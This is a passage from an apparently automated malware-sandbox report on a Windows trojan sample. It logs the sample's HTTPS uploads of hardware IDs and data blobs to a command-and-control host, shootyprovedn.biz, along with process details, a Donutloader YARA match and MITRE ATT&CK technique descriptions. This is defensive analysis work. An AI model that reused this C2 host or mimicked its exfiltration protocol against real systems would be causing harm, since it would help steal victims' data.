{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O3ExTDtUVdmpUV88vt5wqmKo%2BHDln4mfpeSmkRZeI5Umnd9P5T5vhohAqWUvoUxN0gx5SVNiO%2Fr%2FFXD0n5MUDJ0li%2FzXmFSnYlPq06bZXYnqjOgSEN3UhE9VIgdvFt%2B0OOfj4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b022a5b9cead9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1526&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2842&recv_bytes=19218&delivery_rate=2231124&cwnd=251&unsent_bytes=0&cid=5eef799377bd848d&ts=723&x=0"
2024-10-24 15:30:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 15:30:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	172.67.194.239	443	7328	C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 15:30:32 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8787 Host: shootyprovedn.biz
2024-10-24 15:30:32 UTC	8787	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 39 43 35 36 38 46 34 35 42 39 37 45 44 32 35 42 43 39 45 38 41 44 42 32 44 37 42 38 42 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 41 65 4f 64 70 2d 2d 6d 61 69 6e 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EC9C568F45B97ED25BC9E8ADB2D7B8B4--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xAeOdp--maint
2024-10-24 15:30:32 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 15:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cbjja14eu6n98pjfm14orm7kqp; expires=Mon, 17 Feb 2025 09:17:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dohgz5vivgXhewTt1ihaGgxVzvp9Gqcps0PwUwmz8miQGKO3UFEfDUzBJp6lNX2CVb5XVk4UVfROYROFMhJJVZhnhGUVzwgVV6g%2FQxwPL5cCqcK1tBoRRoT09WImjZnhuFFhlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b0236afb43ac7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1326&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2842&recv_bytes=9816&delivery_rate=2059743&cwnd=250&unsent_bytes=0&cid=cebc5f6f189a7773&ts=1098&x=0"
2024-10-24 15:30:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 15:30:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	172.67.194.239	443	7328	C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 15:30:34 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20440 Host: shootyprovedn.biz
2024-10-24 15:30:34 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 39 43 35 36 38 46 34 35 42 39 37 45 44 32 35 42 43 39 45 38 41 44 42 32 44 37 42 38 42 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 41 65 4f 64 70 2d 2d 6d 61 69 6e 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EC9C568F45B97ED25BC9E8ADB2D7B8B4--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xAeOdp--maint
2024-10-24 15:30:34 UTC	5109	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 Data Ascii: `M?lrQMn 64F6(X&7~`a
2024-10-24 15:30:35 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 15:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8t65dgjvjtggmgq6umoaodllp4; expires=Mon, 17 Feb 2025 09:17:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eEKyUlREQiOPS%2BaYC1AqQ%2FpMrSQ3Tag%2Fo%2FuxxlD7juZ4lvsL%2FxxQNyJ1I6LH7uncV1mtwWN0iBXYxZq58jPC4S2Xxd59M0ChMmr3TCD11J9VXqUsiLzNdLNhiqxP5QansUvvGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b0244db22143f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1308&sent=13&recv=28&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21492&delivery_rate=2137269&cwnd=247&unsent_bytes=0&cid=aa6d9533e4fa1997&ts=739&x=0"
2024-10-24 15:30:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 15:30:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	172.67.194.239	443	7328	C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 15:30:36 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1293 Host: shootyprovedn.biz
2024-10-24 15:30:36 UTC	1293	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 39 43 35 36 38 46 34 35 42 39 37 45 44 32 35 42 43 39 45 38 41 44 42 32 44 37 42 38 42 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 41 65 4f 64 70 2d 2d 6d 61 69 6e 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EC9C568F45B97ED25BC9E8ADB2D7B8B4--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xAeOdp--maint
2024-10-24 15:30:36 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 15:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=15i02gfhb3s72n2ucfr790rsgs; expires=Mon, 17 Feb 2025 09:17:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KbhcnJw307qKJ4HT7ing34An3xCJyqq%2BPtyc1iNQFFApawBYmfUuO9S9FtVrtwBf%2FsyWD7e%2F4HFteqEqCoJvpDR6oiinrukzpgoS5GyvQ%2B66WD8LdV1D8qoSHdYEqe7i63RKbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b0250495f0c46-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1417&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2300&delivery_rate=2080459&cwnd=251&unsent_bytes=0&cid=a7b73867dbe4165b&ts=524&x=0"
2024-10-24 15:30:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 15:30:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	172.67.194.239	443	7328	C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 15:30:37 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1135 Host: shootyprovedn.biz
2024-10-24 15:30:37 UTC	1135	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 39 43 35 36 38 46 34 35 42 39 37 45 44 32 35 42 43 39 45 38 41 44 42 32 44 37 42 38 42 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 41 65 4f 64 70 2d 2d 6d 61 69 6e 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EC9C568F45B97ED25BC9E8ADB2D7B8B4--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xAeOdp--maint
2024-10-24 15:30:38 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 15:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rr8plstlrd1smfua8115igtnqu; expires=Mon, 17 Feb 2025 09:17:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yiGERbbaGERiQ9xuK2WNf0Qj2VwyQjXaDyeOB9ZVvw1GHeNi2%2BGK6Mk%2FZb5B8TQYWse09e3IhyLgjIAMiBDFDmNuGBE%2FBYEWEQJst%2B9639%2FWwTs5GaHrzfT7VHg%2FDyDBKXJWHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b02583be46ba3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1198&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=2142&delivery_rate=2411323&cwnd=247&unsent_bytes=0&cid=17c59a34b5a06ff0&ts=1525&x=0"
2024-10-24 15:30:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 15:30:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	172.67.194.239	443	7328	C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 15:30:39 UTC	355	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 117 Host: shootyprovedn.biz
2024-10-24 15:30:39 UTC	117	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 78 41 65 4f 64 70 2d 2d 6d 61 69 6e 74 65 61 6d 26 6a 3d 31 35 66 37 39 31 31 63 35 63 37 33 65 32 63 32 36 33 61 39 62 34 33 33 65 62 35 35 66 66 33 31 26 68 77 69 64 3d 45 43 39 43 35 36 38 46 34 35 42 39 37 45 44 32 35 42 43 39 45 38 41 44 42 32 44 37 42 38 42 34 Data Ascii: act=get_message&ver=4.0&lid=xAeOdp--mainteam&j=15f7911c5c73e2c263a9b433eb55ff31&hwid=EC9C568F45B97ED25BC9E8ADB2D7B8B4
2024-10-24 15:30:40 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 15:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7a0fft5oobmt82elujulimq15s; expires=Mon, 17 Feb 2025 09:17:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HofJX0KitneyTy8DPa%2FSSCUdlVhgwRt%2BvbaWV3%2BbXKS2OeYWalcJQyESjk7uT08sBPQUl9FK1o8tEWM0uTd8MUhr0lieokxzVeFDcbNQzeqj60uwu3Vupto%2FR3Rq1f0rBpO64Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b0266a8326bec-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1108&delivery_rate=1528232&cwnd=251&unsent_bytes=0&cid=c83c5b6baa6d450b&ts=643&x=0"
2024-10-24 15:30:40 UTC	54	IN	Data Raw: 33 30 0d 0a 64 73 41 69 47 76 68 47 66 6d 2b 33 66 66 43 2b 50 42 39 64 34 79 59 77 4b 79 55 73 51 4d 72 41 47 54 57 78 6f 61 39 4c 61 2f 4d 74 6e 51 3d 3d 0d 0a Data Ascii: 30dsAiGvhGfm+3ffC+PB9d4yYwKyUsQMrAGTWxoa9La/MtnQ==
2024-10-24 15:30:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:30:10
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe"
Imagebase:	0x400000
File size:	2'312'456 bytes
MD5 hash:	EB0E17182B031CD14FF822F09B318895
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2034868233.0000000002320000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Function 0089B93A Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

a[QF, xrefs: 0089BADB

Memory Dump Source

Source File: 00000000.00000003.1997893249.000000000089A000.00000004.00000020.00020000.00000000.sdmp, Offset: 0089A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_89a000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: c0a9a7c26c7c8f37fc97f46dccbcd27e902b906fcfb0f17c893495c5c6ee4503
Instruction ID: 836530b05c23ad566fc437a3d361e603ddf4fb67c7289e96dc00ea91f9233d85
Opcode Fuzzy Hash: c0a9a7c26c7c8f37fc97f46dccbcd27e902b906fcfb0f17c893495c5c6ee4503
Instruction Fuzzy Hash: BE51E13240A2E19FCB03DF75E592192BFA1FE5332071845DED4818F527D321A966CB9A

Function 0089B9C1 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

a[QF, xrefs: 0089BADB

Memory Dump Source

Source File: 00000000.00000003.1997893249.000000000089A000.00000004.00000020.00020000.00000000.sdmp, Offset: 0089A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_89a000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: 0882a987fc9ed95686603ea5d3252be7d3af523d198d6d10792741f9b486168c
Instruction ID: 788ff222da981ab0555d63a128504b6a5a86d49a94a7ba11d8767af54dd058a2
Opcode Fuzzy Hash: 0882a987fc9ed95686603ea5d3252be7d3af523d198d6d10792741f9b486168c
Instruction Fuzzy Hash: 6341BE3240A2E19FC713DF75EA52195BFB1FE4321072C44DAD8C08B567D224A966CB9A

Function 00864B80 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2033643289.0000000000860000.00000004.00000020.00020000.00000000.sdmp, Offset: 0085D000, based on PE: false

Associated: 00000000.00000003.2005316291.000000000085D000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_860000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Function 00864B80 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2033643289.0000000000860000.00000004.00000020.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Associated: 00000000.00000003.2020457154.0000000000860000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_860000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
